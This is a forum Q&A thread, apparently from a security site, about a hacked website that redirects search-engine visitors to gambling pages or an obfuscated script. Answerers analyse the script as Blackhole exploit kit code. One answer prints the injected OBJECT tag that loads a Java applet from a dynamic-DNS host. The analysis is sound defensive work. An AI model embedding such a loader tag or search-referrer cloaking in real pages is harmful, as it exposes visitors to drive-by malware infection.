I do not normally deal with internet security problems but this one has got me interested.

The issue is with a specific site, lets say example.com, and how it it visited.

If the address is typed directly into the browser, the website works fine.

If the address is searched in google/bing/yahoo and followed, a 302 redirect is given leading to: a gambling site, an error page, or a web page that only contains an encoded script.

My question here is, how can I identify what this script is doing?

The script captured can be found in the following paste bin. http://pastebin.com/6uV7M4nJ

  • Do you go to the same website when you try to look up any other websites, or are they different? – cutrightjm May 22 '13 at 0:16

You can carefully replace unsafe calls and properties like eval and innerHTML and then run the script. To be safe, turn off all browser plugins. To be safer, you could do this in a virtual machine.

I've done this for your paticular file. The following happens:

  1. A Java file is loaded using <OBJECT CLASSID="clsid:5852F5ED-8BF4-11D4-A245-080C6F74284" width="1" height="1"><PARAM name="app" value="http://fjetymxvbndyz.bounceme.net/fine/beliees_rights.php?jnlp=b00725b396"/></OBJECT>

  2. This script is loaded. It's a browser plugin version detection library with a payload that checks version and loads different files depending on plugins. Here is a beautified version without the library.

  • This code is very similar to Blackhole exploit kit's code, so it is probably a website infected with Blackhole or a similar kit. – Anorov May 22 '13 at 0:30
  • What would you replace the eval or innerHTML to? – Danial Wayne May 22 '13 at 16:54

Looks like the Javascript that you're looking at is obfuscated. This is general practice if you don't want your users to know what your script is doing. My guess is it may be looking at the referred header and if its is from any of those sites that you say, it simply redirects it. This should ideally be done on the server side, but even then it is pretty trivial to overcome and go to the correct page.

  • Yes I agree that it is trivial to bypass, but for the bulk of people that find this site the redirect would be followed, but their antivirus would not catch it. – Danial Wayne May 23 '13 at 16:34

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.